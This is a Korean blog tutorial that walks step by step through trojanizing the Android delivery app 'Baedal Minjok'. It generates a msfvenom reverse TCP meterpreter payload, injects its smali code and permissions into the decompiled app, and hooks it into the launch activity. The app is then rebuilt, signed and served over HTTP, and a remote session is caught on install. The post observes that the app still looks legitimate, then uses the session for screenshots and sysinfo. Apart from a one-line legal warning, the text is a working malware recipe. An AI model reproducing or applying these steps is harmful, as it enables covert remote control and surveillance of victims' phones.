해킹은 반드시 자신의 기기에만 해주세요.
그렇지 않을 경우 법적인 처벌을 받으실 수 있습니다.
안드로이드 어플리케이션 후킹하기
커버로스님의 영상 : https://www.youtube.com/watch?v=4YCwXZ1SVls&t=717s
해킹에 사용된 기기는 안드로이드 버전은 7.1.2의 ‘샤오미 홍미 5 플러스’입니다.
후킹할 어플리케이션으로 ‘배달의 민족’을 사용했습니다.
프로젝트에 사용된 PC의 운영체제는 kali linux 2018.1 입니다.
- 안드로이드 스마트폰
- 후킹할 어플
- kali linux
* 칼리 리눅스에 설치되어 있는 apktool 2.3.1는 어플을 빌드하는 과정중에 오류가 발생하므로,
https://bitbucket.org/iBotPeaches/apktool/downloads/ 에서 최신버전을 다운로드 받아 사용하였습니다. (2.3.3)
1.어플리케이션 다운로드 받기
![](https://t1.daumcdn.net/cfile/tistory/9924484F5AF7F5670D)
https://apkpure.com/ 에서 후킹할 apk파일을 다운로드 받습니다. 저는 '배달의 민족' 어플리케이션을 사용하였습니다.
그 뒤 파일명을 baedal.apk로 바꾸었습니다.
2. msfvenom을 이용하여 악성코드 apk파일을 생성합니다.
저는 payload.apk로 만들었습니다.
lhost는 PC의 ip주소를, lport로는 4444로 지정해주었습니다.
# msfvenom –p android/meterpreter/reverse_tcp lhost=192.168.0.7 lport=4444 –o payload.apk
![](https://t1.daumcdn.net/cfile/tistory/996D94485AF7F6BA17)
3. payload.apk 와 baedal.apk 모두 apktool를 이용하여 디패키징합니다.
![](https://t1.daumcdn.net/cfile/tistory/99A979495AF7F7261C)
4. payload/smali/com/에 있는 metasploit/를 baedal/smali/com/으로 복사합니다.
![](https://t1.daumcdn.net/cfile/tistory/999A98505AF7F76A2B)
5. baedal/과 payload/에 있는 각각의 AndroidManifest.xml파일을 gedit을 통해 엽니다.
# gedit AndroidManifest.xml
![](https://t1.daumcdn.net/cfile/tistory/9931914B5AF7F7C013)
6. payload의 권한과 기능을 baedal로 복사합니다.
payload의 AndroidManifest.xml에 있는 모든 permission과 feature부분을 복사하여
baedal의 AndroidManifest.xml로 붙여넣기합니다.
![](https://t1.daumcdn.net/cfile/tistory/991BFD495AF7FCCA2F)
^ payload의 AndroidManifest.xml에 있는 모든 permission과 feature부분
![](https://t1.daumcdn.net/cfile/tistory/99A258455AF7FCC125)
^ baedal의 AndroidManifest.xml로 붙여넣기한 모습
7. 어플리케이션이 처음 실행될 때 시작되는 Activity 부분을 찾습니다.
launcher와 main은 항상 붙어다니기 때문에 launcher을 검색하여 main부분을 찾습니다.
![](https://t1.daumcdn.net/cfile/tistory/9948C3435AF7FCAD0E)
^ category인 LAUNCHER 바로 위에 action인 MAIN이 보입니다.
main이 포함되어있는 activity가 앱이 처음 실행될 때 시작되는 activity입니다.
activity파일의 경로를 확인합니다.
![](https://t1.daumcdn.net/cfile/tistory/996D54485AF7FC9F08)
com.baemin.presentation.ui.GateWayActivity
8. 위 경로를 따라 GateWayActivity파일을 찾아 엽니다.
![](https://t1.daumcdn.net/cfile/tistory/99282A435AF7FA7022)
onCreate 함수를 찾습니다.
어플리케이션이 처음 실행될 때 무엇인가가 생성되는 부분임을 알 수 있습니다.
![](https://t1.daumcdn.net/cfile/tistory/996A81395AF7FC7619)
metasploit/stage/ 에 있는 MainService.smali파일을 cat명령어로 출력한 뒤
출력된 문자열중 최하단에서 4번째줄의 명령어를 복사하여
invoke-super {p0, p1}, Landroid/support/v7/app/c;->onCreate...(생략) 부분 바로 아래에 붙여넣습니다.
![](https://t1.daumcdn.net/cfile/tistory/99E429365AF7FD010B)
![](https://t1.daumcdn.net/cfile/tistory/996073505AF7FD0135)
![](https://t1.daumcdn.net/cfile/tistory/998EC44A5AF7FC5A2F)
이 것을 후킹이라고 합니다.
9. 이제 apktool을 사용하여 baedal/을 빌드(패키징)해줍니다. -o 옵션으로 baemin.apk라는 이름을 주었습니다.
![](https://t1.daumcdn.net/cfile/tistory/99C3E33C5AF7FD1E10)
![](https://t1.daumcdn.net/cfile/tistory/993E04425AF7FD1F12)
빌드중 에러가 발생했습니다. 이정도 에러는 보고 수정해준뒤 다시 빌드하면 됩니다.
에러를 보니 keyboardNavigationCluster 를 찾을 수 없는 것 같은데, 그냥 지우고 다시 빌드합니다.
![](https://t1.daumcdn.net/cfile/tistory/99184C3A5AF7FD1E18)
빌드에 성공했습니다.
빌드에 성공하여 baemin.apk파일을 확인할 수 있습니다.
![](https://t1.daumcdn.net/cfile/tistory/99AFC4345AF7FDAD06)
10. baemin.apk에 서명을 합니다.
서명되지 않은 안드로이드 어플리케이션은 안드로이드 기기에 설치할 수 없으므로 서명을 꼭 해야합니다.
keytool과 jarsigner을 사용하여 baemin.apk 서명작업을 진행하였습니다.
그 전에 keytool이 정상적으로 동작할 수 있도록 home/에 .android파일을 생성해줍니다.
# keytool –genkey –v –keystore ~/.android/debug.keystore –storepass android –alias androiddebugkey –keypass android –validity 9999
(옵션 –validity 9999는 9999일 동안 유효함을 의미합니다.)
# jarsigner –verbose –keystore ~/.android/debug.keystore –storepass android –keypass android –sigalg SHA256withDSA baemin.apk androiddebugkey
![](https://t1.daumcdn.net/cfile/tistory/9902FC475AF7FDEC06)
11. 해킹될 기기에서 해당 어플리케이션을 다운로드 받습니다.
아파치 서버를 열고, 서버 경로에 baemin.apk를 옮겨둡니다.
![](https://t1.daumcdn.net/cfile/tistory/998ACA465AF803B22D)
안드로이드 기기에서 http://192.168.0.7/baemin.apk로 이동하여 파일을 다운로드 받습니다.
![](https://t1.daumcdn.net/cfile/tistory/9923B03D5AF803CA1F)
12. msfconsole 사용을 위해 handler.rc파일을 생성합니다.
![](https://t1.daumcdn.net/cfile/tistory/9944AC415AF807832B)
postgresql를 시작하고, msfconsole도 시작합니다.
# service postgresql start
# msfconsole –r handler.rc
13. 안드로이드 기기에서 baedal.apk파일을 설치하고 실행합니다.
![](https://t1.daumcdn.net/cfile/tistory/99B3774E5AF807AD04)
실행시, 정상적인 배달의 민족 어플리케이션으로 보이게 됩니다.
그러나 PC에서는 세션이 하나 잡히게 됩니다.
![](https://t1.daumcdn.net/cfile/tistory/992B15425AF807D60F)
세션을 확인하고 연결합니다.
![](https://t1.daumcdn.net/cfile/tistory/990325415AF807D60B)
이제 해킹에 성공한 것입니다.
해당 기기의 정보를 확인할 수도 있으며(sysinfo), 스크린샷을 찍어 볼 수도 있습니다(screenshot).
![](https://t1.daumcdn.net/cfile/tistory/998835455AF807D634)
![](https://t1.daumcdn.net/cfile/tistory/999FD7445AF8087230)